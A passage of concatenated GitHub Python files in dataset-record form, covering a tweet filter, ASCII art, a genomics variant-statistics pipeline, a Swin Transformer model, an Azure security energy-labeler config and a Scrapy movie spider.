self.normalize(res, cluster.get_length())\r\n cluster.set_importance(result)\r\n return result\r\n\r\n @staticmethod\r\n def normalize(value, clustersize):\r\n \"\"\"\r\n nomralize the importance value of the cluster\r\n :param value: unnormalized importance value\r\n :param clustersize: size of the cluster\r\n :return:\r\n \"\"\"\r\n max = (0.60 * 9605 * 2.2 * (1.08171 ** clustersize)) / (clustersize * 10)\r\n min = 1.01 / clustersize\r\n return (value - min) / (max - min)\r\n\r\n\r\nclass TweetAnalysis():\r\n \"\"\"\r\n class for grading the importance of a tweet\r\n \"\"\"\r\n def __init__(self):\r\n \"\"\"\r\n constructor for TweetAnalysis\r\n :return: None\r\n \"\"\"\r\n self.language = floodtags.core.statics.StaticData.language\r\n self.keyword = floodtags.core.statics.StaticData.keyword\r\n self.regex_handler = regex.RegexHandler()\r\n\r\n def analyze_tweet(self, tweet):\r\n \"\"\"\r\n calculate importance value of tweet\r\n :param tweet: tweet that needs to be analyzed\r\n :return: importance value\r\n \"\"\"\r\n res = 1.0\r\n if tweet.language != self.language:\r\n return res\r\n if self.keyword in tweet.tweet[\"keywords\"]:\r\n res *= 1.01\r\n if tweet.tweet[\"photos\"]:\r\n res *= 1.02\r\n if self.regex_handler.exists(tweet.tweet[\"text\"], regex.Expressions.waterheight):\r\n res *= 1.05\r\n return res\r\n","repo_name":"bertvn/floodtags","sub_path":"floodtags/datascience/filtering/filtering.py","file_name":"filtering.py","file_ext":"py","file_size_in_byte":5001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11590360783","text":"from PIL import Image\n\ndef ascii_art(img_name,extension):\n img=Image.open(img_name+extension)\n img_bw=img.convert('L')\n # img.show()\n resx=3\n resy=resx\n width, height = img.size\n d=[[0 for x in range(width//resx+1)] for y in range(height//resy+1)]\n palette=\"@$#%+*/=°,:-'. \"\n # strimg=''\n # for j in range(13):\n # for e in palette:\n # strimg+=26*e\n # strimg+='\\n'\n \n # print(strimg,file=open('palette.txt','w',encoding='utf-8'))\n \n # return None \n for x in range(0,width):\n for y in range(0,height):\n d[y//resy][x//resx]+=img_bw.getpixel((x,y))/(resx*resy)\n \n strimg='' \n for x in d:\n for y in x:\n strimg+=palette[int(y/256*len(palette))]\n strimg+='\\n'\n print(strimg,file=open(f'asciiart{img_name}.txt','w',encoding='utf-8'))\n \ndef tup2str(tup):\n return f'#{hex(tup[0])}{hex(tup[1])}{hex(tup[2])}'\nascii_art('example','.jpg')","repo_name":"paulluneaug/PythonFirstProjects","sub_path":"AsciiArt/Ascii Art.py","file_name":"Ascii Art.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7970465438","text":"from app.infra.main import MainServer\nfrom app.infra.http.fastapi import FastAPIServer\nfrom app.infra.adapters.main_routes import main_routes\nfrom fastapi import APIRouter\n\ndef mount_routes(app, router=None):\n router = APIRouter(\n prefix=\"/api\",\n responses={404: {\"description\": \"Not found\"}},\n )\n routes = main_routes(router)\n app.include_router(routes)\n\ndef mount_app():\n server = MainServer(FastAPIServer)\n app = server.app\n mount_routes(app)\n return app","repo_name":"OscarSilvaOfficial/Ifood-Challenges","sub_path":"first/app/infra/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4655274534","text":"import os\nimport re\nimport glob\nimport pandas as pd\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport subprocess\n\nroot_dir = \"/data/TSO500/\"\nsample_list = \"/data/TSO500/samplelist.csv\"\noutdir = \"/data/TSO500/stat/\"\nannovar=\"/software/docker_tumor_base/Resource/Annovar/\"\n\ndef run_1(root_dir,sample_list,outdir):#step1:将SNV和CNV文件结果汇总\n if not os.path.exists(outdir):\n os.mkdir(outdir)\n if not os.path.exists(\"%s/CNV\"%(outdir)):\n os.mkdir(\"%s/CNV\"%(outdir))\n if not os.path.exists(\"%s/SNV\"%(outdir)):\n os.mkdir(\"%s/SNV\"%(outdir))\n subprocess.check_call('rm -rf %s/SNV/*'%(outdir),shell=True)\n subprocess.check_call('rm -rf %s/CNV/*'%(outdir),shell=True)\n dict = {}\n infile = open(sample_list, \"r\")\n num = 0\n counts = 0\n for line in infile:\n line = line.strip()\n array = line.split(\",\")\n num += 1\n if num == 1:\n \"\"\"\n for k in range(len(array)):\n if array[k] == \"yes_no_illumina\":\n counts = k\n \"\"\"\n else:\n \"\"\"\n if array[counts] == \"yes\":\n dict[array[0]] = 1\n \"\"\"\n dict[array[0]] = 1\n infile.close()\n SNV_file=[]\n for (root, dirs, files) in os.walk(root_dir):\n for file in files:\n tmp = os.path.join(root, file)\n array = tmp.split(\"/\")\n ############################################################SNV\n if tmp.endswith(\"annovar.tsv\"):\n sample_name=re.sub(r'.annovar.tsv', \"\", array[-1])\n if sample_name in dict:\n SNV_file.append(tmp)\n #############################################################CNV\n if tmp.endswith(\"CopyNumberVariants.vcf\"):\n sample_name = re.sub(r'_CopyNumberVariants.vcf', \"\", array[-1])\n if sample_name in dict:\n outfile = open(\"%s/CNV/%s.cnv.tsv\" % (outdir, sample_name), \"w\")\n infile = open(tmp, \"r\")\n i = 0\n for line in infile:\n if not line.startswith(\"#\"):\n line = line.strip()\n array = line.split(\"\\t\")\n if array[4] == \"\" or array[4] == \"\":\n i += 1\n p1 = re.compile(r'END=(\\d+)')\n p2 = re.compile(r'ANT=(\\S+)')\n a = p1.findall(line)\n b = p2.findall(line)\n tmp = array[0] + \"\\t\" + array[1] + \"\\t\" + a[0] + \"\\t\" + array[3] + \"\\t\" + array[4] + \"\\t\" + b[0]\n outfile.write(\"%s\\n\" % (tmp))\n outfile.close()\n infile.close()\n if i == 0:\n subprocess.check_call(\"rm -rf %s/CNV/%s.cnv.tsv\" % (outdir, sample_name), shell=True)\n print(\"sample %s not find CNV\" % (sample_name))\n for key in SNV_file:\n subprocess.check_call('cp %s %s/SNV/' % (key, outdir), shell=True)\n##############################################################step2:stat TMB and MSI\ndef run_2(dir,samplelist,outdir):\n #defined 2d dict\n def dict2d(dict, key_a, key_b, val):\n if key_a in dict:\n dict[key_a].update({key_b: val})\n else:\n dict.update({key_a: {key_b: val}})\n #get TMB and MSI information\n dict={}\n sample_ID=[]\n for (root,dirs,files) in os.walk(dir):\n for dir in dirs:\n path=root+\"/\"+dir+\"/analysis/Results/\"\n if os.path.exists(path):\n tmbfile=glob.glob(\"%s/*_BiomarkerReport.txt\"%(path))\n for file in tmbfile:\n basename=os.path.basename(file)\n sample = basename.split(\"_BiomarkerReport.txt\")\n sample_ID.append(sample[0])\n infile = open(file, \"r\")\n for line in infile:\n line = line.strip()\n array = line.split(\"\\t\")\n if array[0].startswith(\"Total TMB\"):\n dict2d(dict,sample[0],\"Total_TMB\",array[1])\n if array[0].startswith(\"Nonsynonymous TMB\"):\n dict2d(dict, sample[0], \"Nonsynonymous_TMB\", array[1])\n if array[0].startswith(\"Coding Region Size in Megabases\"):\n dict2d(dict, sample[0], \"Coding_Region_Size_in_Megabases\", array[1])\n if array[0].startswith(\"Number of Passing Eligible Variants\"):\n dict2d(dict, sample[0], \"Number_of_Passing_Eligible_Variants\", array[1])\n if array[0].startswith(\"Number of Passing Eligible Nonsynonymous Variants\"):\n dict2d(dict, sample[0], \"Number_of_Passing_Eligible_Nonsynonymous_Variants\", array[1])\n if array[0].startswith(\"Usable MSI Sites\"):\n dict[sample[0]][\"Usable_MSI_Sites\"] = array[1]\n dict2d(dict, sample[0], \"Usable_MSI_Sites\", array[1])\n if array[0].startswith(\"Total Microsatellite Sites Unstable\"):\n dict2d(dict, sample[0], \"Total_Microsatellite_Sites_Unstable\", array[1])\n if array[0].startswith(\"Percent Unstable Sites\"):\n dict2d(dict, sample[0], \"Percent_Unstable_Site\", array[1])\n infile.close()\n else:\n continue\n #get information from samplelist\n dict2={}\n infile = open(samplelist, \"r\")\n num=0\n name=[]\n Batch={}\n rate={}\n for line in infile:\n line=line.strip()\n array=line.split(\",\")\n num+=1\n if num==1:\n for i in range(len(array)):\n name.append(array[i])\n else:\n for i in range(len(array)):\n if name[i]==\"Batch\":\n Batch[array[0]]=array[i]\n if name[i]==\"rate\":\n rate[array[0]]=array[i]\n dict2d(dict2,array[0],name[i],array[i])\n infile.close()\n #output result\n outfile=open(\"%s/TMB_MSI.tsv\"%(outdir),\"w\")\n outfile.write(\"Batch\\trate\\tSample_ID\\tCancer\\tTotal_TMB\\tNonsynonymous_TMB\\tCoding_Region_Size_in_Megabases\\t\"\n \"Number_of_Passing_Eligible_Variants\"\n \"\\tNumber_of_Passing_Eligible_Nonsynonymous_Variants\\t\"\n \"Usable_MSI_Sites\\tTotal_Microsatellite_Sites_Unstable\\tPercent_Unstable_Site\\n\")\n for i in Batch:\n if i not in dict2:\n pass\n else:\n if i in sample_ID:\n outfile.write(\"%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n\" %(Batch[i],rate[i],i,dict2[i][\"Cancer\"],dict[i][\"Total_TMB\"],dict[i][\"Nonsynonymous_TMB\"],dict[i][\"Coding_Region_Size_in_Megabases\"],dict[i][\"Number_of_Passing_Eligible_Variants\"],dict[i][\"Number_of_Passing_Eligible_Nonsynonymous_Variants\"],dict[i][\"Usable_MSI_Sites\"],dict[i][\"Total_Microsatellite_Sites_Unstable\"],dict[i][\"Percent_Unstable_Site\"]))\n outfile.close()\n #plot\n df = pd.read_csv(\"%s/TMB_MSI.tsv\"%(outdir), sep=\"\\t\", header=0)\n x = df['Total_TMB']\n y = df['Cancer']\n plt.figure(figsize=(18, 10))\n sns.boxplot(x, y, data=df)\n plt.savefig('%s/TMB.png'%(outdir), dpi=300)\n##############################################################step3:normal false soamtic\ndef run_3(root_dir,samplelist,outdir):\n dict = {}\n infile = open(samplelist, \"r\")\n counts = 0\n name = 0\n for line in infile:\n counts += 1\n line = line.strip()\n array = line.split(\",\")\n if counts == 1:\n for k in range(len(array)):\n if array[k] == \"Remarks\":\n name = k\n else:\n if array[name] == \"N\":\n dict[array[0]] = 0\n infile.close()\n outfile = open(\"%s/normal_false_somatic.tsv\" % (outdir), \"w\")\n outfile.write(\"SampleID\\tIllumina\\tOur\\tVAF40\\tVAF30\\tVAF20\\tVAF10\\tVAF5\\n\")\n for (root, dirs, files) in os.walk(root_dir):\n for file in files:\n tmp = os.path.join(root, file)\n sample = tmp.split(\"/\")\n id = sample[-1].split(\".\")\n if tmp.endswith(\".tmb.tsv\") and id[0] in dict:\n Illumina, num, VAF5, VAF10, VAF20, VAF30, VAF40 = 0, 0, 0, 0, 0, 0, 0\n row = 0\n infile = open(tmp, \"r\")\n f1, f2, f3, f4, f5, f6 = 0, 0, 0, 0, 0, 0\n for line in infile:\n line = line.strip()\n array = line.split(\"\\t\")\n row += 1\n if row == 1:\n for k in range(len(array)):\n if array[k] == \"GermlineFilterDatabase\":\n f1 = k\n if array[k] == \"SomaticStatus\":\n f2 = k\n if array[k] == \"CodingVariant\":\n f3 = k\n if array[k] == \"GermlineFilterProxi\":\n f4 = k\n if array[k] == \"Nonsynonymous\":\n f5 = k\n if array[k] == \"VAF\":\n f6 = k\n else:\n tmp=array[0]+\"\\t\"+array[1]+\"\\t\"+array[1]+\"\\t\"+array[2]+\"\\t\"+array[3]\n if array[f1] == \"False\" and array[f2] == \"Somatic\" and array[f3] == \"True\" and array[f4] == \"False\":\n Illumina += 1\n if array[f5] == \"True\":\n num += 1\n if float(array[f6]) <= 0.05:\n VAF5 += 1\n if float(array[f6]) <= 0.1:\n VAF10 += 1\n if float(array[f6]) <= 0.2:\n VAF20 += 1\n if float(array[f6]) <= 0.3:\n VAF30 += 1\n if float(array[f6]) <= 0.4:\n VAF40 += 1\n infile.close()\n outfile.write(\n \"%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n\" % (id[0], Illumina, num, VAF40, VAF30, VAF20, VAF10, VAF5))\n outfile.close()\n####################################################normal tmb convert vcf and anno\ndef run_4(root_dir,sample_list,outdir):\n if not os.path.exists(outdir):\n os.mkdir(outdir)\n #####################################get sample ID\n infile=open(sample_list,\"r\")\n sample_ID,num,remark,content={},0,0,0\n for line in infile:\n line=line.strip()\n array=line.split(\",\")\n num+=1\n if num==1:\n for k in range(len(array)):\n if array[k] == \"Remarks\":\n remark=k\n if array[k] == \"Tumor_content\":\n content=k\n else:\n if array[remark] == \"N\":\n if array[content]==\".\" or array[content]==\"%0\":\n sample_ID[array[0]]=1\n ######################################get SNV information\n dict,vaf={},{}\n for (root,dirs,files) in os.walk(root_dir):\n for file in files:\n path=os.path.join(root,file)\n array=path.split(\"/\")\n if path.endswith(\"tmb.tsv\"):\n samplename=array[-2]\n if samplename in sample_ID:\n infile = open(path, \"r\")\n num = 0\n f1, f2, f3, f4,f5= 0, 0, 0, 0,0\n for line in infile:\n line = line.strip()\n array = line.split(\"\\t\")\n num += 1\n if num==1:\n for k in range(len(array)):\n if array[k] == \"GermlineFilterDatabase\":\n f1 = k\n if array[k] == \"SomaticStatus\":\n f2 = k\n if array[k] == \"CodingVariant\":\n f3 = k\n if array[k] == \"GermlineFilterProxi\":\n f4 = k\n if array[k] == \"VAF\":\n f5=k\n else:\n if array[f1] == \"False\" and array[f2] == \"Somatic\" and array[f3] == \"True\" and array[f4] == \"False\":\n tmp = array[0] + \"\\t\" + array[1] + \"\\t\" + array[2] + \"\\t\" + array[3]\n if tmp in dict:\n dict[tmp] += 1\n else:\n dict[tmp]=1\n if tmp in vaf:\n vaf[tmp]+=\";%s\"%(array[f5])\n else:\n vaf[tmp]=\"%s\"%(array[f5])\n infile.close()\n outfile=open(\"%s/all_false_somatic.vcf\"%(outdir),\"w\")\n outfile.write(\"#CHROM\\tPOS\\tID\\tREF\\tALT\\tQUAL\\tFILTER\\tINFO\\n\")\n for key in dict:\n array=key.split(\"\\t\")\n outfile.write(\"%s\\t%s\\t.\\t%s\\t%s\\t.\\t.\\tcounts=%s,VAF=%s\\n\" % (array[0], array[1], array[2], array[3],dict[key],vaf[key]))\n outfile.close()\n par = \" -protocol refGene,cytoBand,snp138,avsnp150,exac03,esp6500siv2_all,1000g2015aug_all,1000g2015aug_eas,gnomad211_exome,gnomad211_genome,cosmic88_coding,clinvar_20190305\"\n par += \" -operation g,r,f,f,f,f,f,f,f,f,f,f \"\n par += \" -nastring . -polish \"\n subprocess.check_call(\"perl %s/table_annovar.pl %s/all_false_somatic.vcf %s/humandb -buildver hg19 -out %s/all_false_somatic -remove %s -vcfinput \" % (annovar, outdir, annovar, outdir, par), shell=True)\n\n\nif __name__==\"__main__\":\n run_1(root_dir,sample_list,outdir)\n print(\"done1\")\n run_2(root_dir,sample_list,outdir)\n print(\"done2\")\n run_3(root_dir,sample_list,outdir)\n print(\"done3\")\n run_4(root_dir,sample_list,outdir)\n print(\"done4\")","repo_name":"fanyucai1/script","sub_path":"TSO500/core/stat_SNV_CNV.py","file_name":"stat_SNV_CNV.py","file_ext":"py","file_size_in_byte":14460,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"42087625212","text":"from collections import deque\n\nt = int(input())\n\nfor _ in range(t):\n n, m = map(int, input().split())\n priority = deque(list(map(int, input().split())))\n check = [False] * n\n check[m] = True\n\n count = 1\n while True:\n if priority[0] == max(priority) and check[0]:\n print(count)\n break\n elif priority[0] == max(priority):\n priority.popleft()\n check.pop(0)\n count += 1\n else:\n priority.append(priority.popleft())\n check.append(check.pop(0))\n","repo_name":"subinmun1997/my_python-for-coding-test","sub_path":"BAEKJOON/solved.ac/Class2/solution10.py","file_name":"solution10.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"10884028810","text":"lista = []\r\nlistapar = []\r\nlistaimpar = []\r\nwhile True:\r\n x = int(input('Digite um número para a lista: '))\r\n lista.append(x)\r\n cont = str(input('Deseja continuar? [S/N] ')).upper().strip()\r\n while cont not in 'NS':\r\n cont = str(input('Digite um valor válido: [S/N] ')).upper().strip()\r\n if cont == 'N':\r\n break\r\nfor c in lista:\r\n if c % 2 == 0:\r\n listapar.append(c)\r\n else:\r\n listaimpar.append(c)\r\nprint(f'Lista completa: {lista}')\r\nprint(f'Lista par: {listapar}')\r\nprint(f'Lista impar: {listaimpar}')\r\n","repo_name":"lcaldara/python3","sub_path":"exercicios curso em video/desafio82 - lista par, impar.py","file_name":"desafio82 - lista par, impar.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32796887164","text":"\"\"\"\nEstablish baseline with SwinTransformer model\nhttps://pypi.org/project/swin-transformer-pytorch/\n\"\"\"\nimport torch\nimport torch.nn as nn\n# from swin_transformer_pytorch import SwinTransformer\nfrom util.video_swin_transformer import SwinTransformer3D\n\n\nclass Swin_Transformer_model(nn.Module):\n def __init__(self, linear_in_dim=1, patch_size=(4,4,4), embed_dim=96, drop_rate=0, depths=[2, 2, 6, 2], num_heads=[3, 6, 12, 24], patch_norm=False, window_size=(2,7,7), \n scaled_target=False, out_features=1, classification_target=False ):\n super(Swin_Transformer_model, self).__init__()\n self.swin_transformer = SwinTransformer3D(\n patch_size=patch_size,\n embed_dim=embed_dim,\n drop_rate=drop_rate,\n depths=depths,\n window_size=window_size,\n num_heads=num_heads,\n patch_norm=patch_norm\n # Default Total parameters: 35,542,255\n # embed_dim=128, \n # depths=[2, 2, 18, 2], \n # num_heads=[4, 8, 16, 32], \n # patch_size=(2,4,4), \n # window_size=(16,7,7), \n # drop_path_rate=0.4\n )\n self.scaled_target = scaled_target\n self.classification_target = classification_target\n self.flatten = nn.Flatten()\n if not self.scaled_target and not self.classification_target:\n self.relu = nn.ReLU()\n\n self.linear1 = nn.Linear(in_features=linear_in_dim, out_features=out_features)\n # self.linear2 = nn.Linear(in_features=10, out_features=1)\n # self.fc = nn.Sequential(\n # nn.Linear(in_features=linear_in_dim, out_features=10),\n # nn.ReLU(), \n # nn.Linear(in_features=10, out_features=1),\n # nn.ReLU()\n # )\n \n\n\n def forward(self, x):\n x = self.swin_transformer(x)\n # print(self.swin_transformer)\n # print(x.shape)\n x = self.flatten(x)\n # print(x.shape)\n if not self.scaled_target and not self.classification_target:\n x = self.relu(self.linear1(x))\n else:\n x = self.linear1(x)\n # print(x.shape)\n # x = self.linear2(x)\n return x","repo_name":"GiggleSamurai/Multimodal-Deep-Regression","sub_path":"models/Swin_Transformer.py","file_name":"Swin_Transformer.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18825000266","text":"from AlgorithmsML.graph.Base import *\nfrom AlgorithmsML.graph.Layer import *\n\nimport math\n\nclass TanhLayer( Layer ):\n def __init__(self):\n super().__init__( 0 )\n \n def onSublayerAdd( self, subLayer ):\n super().onSublayerAdd( subLayer )\n self.dimensions = subLayer.dimensions\n self.num_nodes = subLayer.num_nodes\n self.prev_results = []\n \n for inode in range( self.num_nodes ):\n node = Node()\n node.addPrevNeighbors(\n [ Link( subLayer.nodes[ inode ] ) ]\n )\n self.nodes.append( node )\n \n def calculate( self ):\n self.prev_results = []\n\n for inode in range( self.num_nodes ):\n node = self.nodes[ inode ]\n neighbor = self.prevLayer.nodes[ inode ]\n node.value = math.tanh( neighbor.value )\n self.prev_results.append( node.value )\n\n def backpropagate( self, output_gradient, loss ):\n\n input_gradient = []\n\n for igradient in range( len( output_gradient ) ):\n \n input_gradient.append(\n ( 1 - self.prev_results[ igradient ] ** 2 ) * output_gradient[ igradient ]\n )\n \n return input_gradient, loss","repo_name":"FallenMap/AlgoritmosG2","sub_path":"Algoritmos-ML/AlgorithmsML/graph/TanhLayer.py","file_name":"TanhLayer.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10457741663","text":"import logging\n\nfrom .datamodels import (TenantEnergyLabelingData,\n LabeledResourceGroupsData,\n LabeledSubscriptionsData,\n DefenderForCloudFindingsData,\n SubscriptionExemptedPolicies)\nfrom .labels import ResourceGroupEnergyLabel, SubscriptionEnergyLabel\n\n__author__ = 'Sayantan Khanra '\n__docformat__ = '''google'''\n__date__ = '''09-11-2021'''\n__copyright__ = '''Copyright 2021, Sayantan Khanra'''\n__license__ = '''MIT'''\n__maintainer__ = '''Sayantan Khanra'''\n__email__ = ''''''\n__status__ = '''Development''' # \"Prototype\", \"Development\", \"Production\".\n\nLOGGER_BASENAME = '''configuration'''\nLOGGER = logging.getLogger(LOGGER_BASENAME)\nLOGGER.addHandler(logging.NullHandler())\n\nFINDINGS_QUERY_STRING = \" securityresources\\\n | where type == \\\"microsoft.security/regulatorycompliancestandards/regulatorycompliancecontrols/regulatorycomplianceassessments\\\"\\\n | extend complianceStandardId = replace( \\\"-\\\", \\\" \\\", extract(@'/regulatoryComplianceStandards/([^/]*)', 1, id))\\\n | where complianceStandardId == \\\"{framework}\\\"\\\n | extend failedResources = toint(properties.failedResources),skippedResources=toint(properties.skippedResources)\\\n | where failedResources + skippedResources > 0 or properties.assessmentType == \\\"MicrosoftManaged\\\"\\\n | join kind = leftouter(\\\n securityresources\\\n | where type == \\\"microsoft.security/assessments\\\") on subscriptionId, name\\\n | where properties.state != \\\"Passed\\\"\\\n | extend firstEvaluationDate = tostring(properties1.status.firstEvaluationDate)\\\n | extend statusChangeDate = tostring(properties1.status.statusChangeDate)\\\n | extend complianceState = tostring(properties.state)\\\n | extend resourceSource = tolower(tostring(properties1.resourceDetails.Source))\\\n | extend recommendationId = iff(isnull(id1) or isempty(id1), id, id1)\\\n | extend resourceId = trim(' ', tolower(tostring(case(resourceSource =~ 'azure', properties1.resourceDetails.Id,\\\n resourceSource =~ 'gcp', properties1.resourceDetails.GcpResourceId,\\\n resourceSource =~ 'aws' and isnotempty(tostring(properties1.resourceDetails.ConnectorId)), properties1.resourceDetails.Id,\\\n resourceSource =~ 'aws', properties1.resourceDetails.AwsResourceId,\\\n extract('^(.+)/providers/Microsoft.Security/assessments/.+$',1,recommendationId)))))\\\n | extend regexResourceId = extract_all(@\\\"/providers/[^/]+(?:/([^/]+)/[^/]+(?:/[^/]+/[^/]+)?)?/([^/]+)/([^/]+)$\\\", resourceId)[0]\\\n | extend resourceType = iff(resourceSource =~ \\\"aws\\\" and isnotempty(tostring(properties1.resourceDetails.ConnectorId)), tostring(properties1.additionalData.ResourceType), iff(regexResourceId[1] != \\\"\\\", regexResourceId[1], iff(regexResourceId[0] != \\\"\\\", regexResourceId[0], \\\"subscriptions\\\")))\\\n | extend resourceName = tostring(regexResourceId[2])\\\n | extend recommendationName = name\\\n | extend recommendationDisplayName = tostring(iff(isnull(properties1.displayName) or isempty(properties1.displayName), properties.description, properties1.displayName))\\\n | extend description = tostring(properties1.metadata.description)\\\n | extend remediationSteps = tostring(properties1.metadata.remediationDescription)\\\n | extend severity = tostring(properties1.metadata.severity)\\\n | extend azurePortalRecommendationLink = tostring(properties1.links.azurePortal)\\\n | extend complianceStandardId = replace( \\\"-\\\", \\\" \\\", extract(@'/regulatoryComplianceStandards/([^/]*)', 1, id))\\\n | extend complianceControlId = extract(@\\\"/regulatoryComplianceControls/([^/]*)\\\", 1, id)\\\n | mvexpand statusPerInitiative = properties1.statusPerInitiative\\\n | extend expectedInitiative = statusPerInitiative.policyInitiativeName =~ \\\"ASC Default\\\"\\\n | summarize arg_max(expectedInitiative, *) by complianceControlId, recommendationId\\\n | extend state = iff(expectedInitiative, tolower(statusPerInitiative.assessmentStatus.code), tolower(properties1.status.code))\\\n | extend notApplicableReason = iff(expectedInitiative, tostring(statusPerInitiative.assessmentStatus.cause), tostring(properties1.status.cause))\\\n | project-away expectedInitiative\\\n | project firstEvaluationDate, statusChangeDate, complianceStandardId, complianceControlId, complianceState, subscriptionId, resourceGroup = resourceGroup1 ,resourceType, resourceName, resourceId, recommendationId, recommendationName, recommendationDisplayName, description, remediationSteps, severity, state, notApplicableReason, azurePortalRecommendationLink\\\n | join kind = leftouter (securityresources\\\n | where type == \\\"microsoft.security/regulatorycompliancestandards/regulatorycompliancecontrols\\\"\\\n | extend complianceStandardId = replace( \\\"-\\\", \\\" \\\", extract(@'/regulatoryComplianceStandards/([^/]*)', 1, id))\\\n | where complianceStandardId == \\\"Microsoft cloud security benchmark\\\"\\\n | extend controlName = tostring(properties.description)\\\n | project controlId = name, controlName\\\n | distinct *) on $right.controlId == $left.complianceControlId\\\n | project-away controlId\\\n | distinct *\\\n | order by complianceControlId asc, recommendationId asc\"\n\nTENANT_THRESHOLDS = [{'label': 'A',\n 'percentage': 90},\n {'label': 'B',\n 'percentage': 70},\n {'label': 'C',\n 'percentage': 50},\n {'label': 'D',\n 'percentage': 30},\n {'label': 'E',\n 'percentage': 20}]\n\nSUBSCRIPTION_THRESHOLDS = [{'label': 'A',\n 'high': 0,\n 'medium': 10,\n 'low': 20,\n 'days_open_less_than': 999},\n {'label': 'B',\n 'high': 10,\n 'medium': 20,\n 'low': 40,\n 'days_open_less_than': 999},\n {'label': 'C',\n 'high': 15,\n 'medium': 30,\n 'low': 60,\n 'days_open_less_than': 999},\n {'label': 'D',\n 'high': 20,\n 'medium': 40,\n 'low': 80,\n 'days_open_less_than': 999},\n {'label': 'E',\n 'high': 25,\n 'medium': 50,\n 'low': 100,\n 'days_open_less_than': 999}]\n\nRESOURCE_GROUP_THRESHOLDS = [{'label': 'A',\n 'high': 0,\n 'medium': 10,\n 'low': 20,\n 'days_open_less_than': 999},\n {'label': 'B',\n 'high': 10,\n 'medium': 20,\n 'low': 40,\n 'days_open_less_than': 999},\n {'label': 'C',\n 'high': 15,\n 'medium': 30,\n 'low': 60,\n 'days_open_less_than': 999},\n {'label': 'D',\n 'high': 20,\n 'medium': 40,\n 'low': 80,\n 'days_open_less_than': 999},\n {'label': 'E',\n 'high': 25,\n 'medium': 50,\n 'low': 100,\n 'days_open_less_than': 999}]\n\nDEFAULT_DEFENDER_FOR_CLOUD_FRAMEWORKS = {'Microsoft cloud security benchmark',\n 'Azure CIS 1.1.0'}\n\nFILE_EXPORT_TYPES = [\n {'type': 'tenant_energy_label',\n 'filename': 'tenant-energy-label.json',\n 'object_type': TenantEnergyLabelingData,\n 'required_arguments': ['id', 'energy_label', 'labeled_subscriptions', 'defender_for_cloud_findings']},\n {'type': 'findings',\n 'filename': 'defender-for-cloud-findings.json',\n 'object_type': DefenderForCloudFindingsData,\n 'required_arguments': ['defender_for_cloud_findings']},\n {'type': 'labeled_subscriptions',\n 'filename': 'labeled-subscriptions.json',\n 'object_type': LabeledSubscriptionsData,\n 'required_arguments': ['labeled_subscriptions']},\n {'type': 'subscription_energy_label',\n 'filename': 'subscription-energy-label.json',\n 'object_type': LabeledSubscriptionsData,\n 'required_arguments': ['labeled_subscriptions', 'defender_for_cloud_findings']},\n {'type': 'exempted_policies',\n 'filename': 'exempted-policies.json',\n 'object_type': SubscriptionExemptedPolicies,\n 'required_arguments': ['labeled_subscriptions']},\n {'type': 'resource_group_energy_label',\n 'filename': 'resource-group-energy-label.json',\n 'object_type': LabeledResourceGroupsData,\n 'required_arguments': ['labeled_subscriptions', 'defender_for_cloud_findings']},\n]\n\nDATA_EXPORT_TYPES = ['findings']\n\nSUBSCRIPTION_METRIC_EXPORT_TYPES = ['subscription_energy_label']\n\nRESOURCE_GROUP_METRIC_EXPORT_TYPES = ['resource_group_energy_label']\n\nTENANT_METRIC_EXPORT_TYPES = ['tenant_energy_label']\n\nEXEMPTED_POLICIES_EXPORT_TYPES = ['exempted_policies']\n\nALL_SUBSCRIPTION_EXPORT_DATA = SUBSCRIPTION_METRIC_EXPORT_TYPES + DATA_EXPORT_TYPES + RESOURCE_GROUP_METRIC_EXPORT_TYPES\n\nALL_TENANT_EXPORT_TYPES = TENANT_METRIC_EXPORT_TYPES + ALL_SUBSCRIPTION_EXPORT_DATA + EXEMPTED_POLICIES_EXPORT_TYPES\n\nSUBSCRIPTION_ID_LENGTH = 36\n\nENERGY_LABEL_CALCULATION_CONFIG = [\n {\n 'object_type': 'resource_group',\n 'energy_label_object': ResourceGroupEnergyLabel\n },\n {\n 'object_type': 'subscription',\n 'energy_label_object': SubscriptionEnergyLabel\n }\n]\n\nFINDING_FILTERING_STATES = ('notapplicable', 'healthy')\n","repo_name":"schubergphilis/azureenergylabelerlib","sub_path":"azureenergylabelerlib/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":10439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14871660600","text":"import scrapy\nfrom stockstar.items import StockstarItem\n\nclass StockSpider(scrapy.Spider):\n name = 'movie'\n allowed_domains = ['www.1905.com'] # 域名\n start_urls = ['https://www.1905.com/vod/list/n_1_t_1/o3.html?fr=vodhome_js_lx']\n\n url = 'https://www.1905.com/vod/list/n_1_t_1/o3p%d.html'\n page = 2\n\n def parse(self, response):\n divs = response.xpath('//*[@id=\"content\"]/section[4]/div[@class=\"grid-2x grid-3x-md grid-6x-sm\"]')\n for div in divs:\n href = div.xpath('a/@href')[0].extract()\n title = div.xpath('a/@title')[0].extract()\n item = StockstarItem()\n item[\"href\"] = href\n item[\"title\"] = title\n yield scrapy.Request(href, callback=self.parse_detail, meta={'item': item})\n # if self.page < 4:\n # url = format(self.url % self.page)\n # yield scrapy.Request(url, callback=self.parse)\n # self.page += 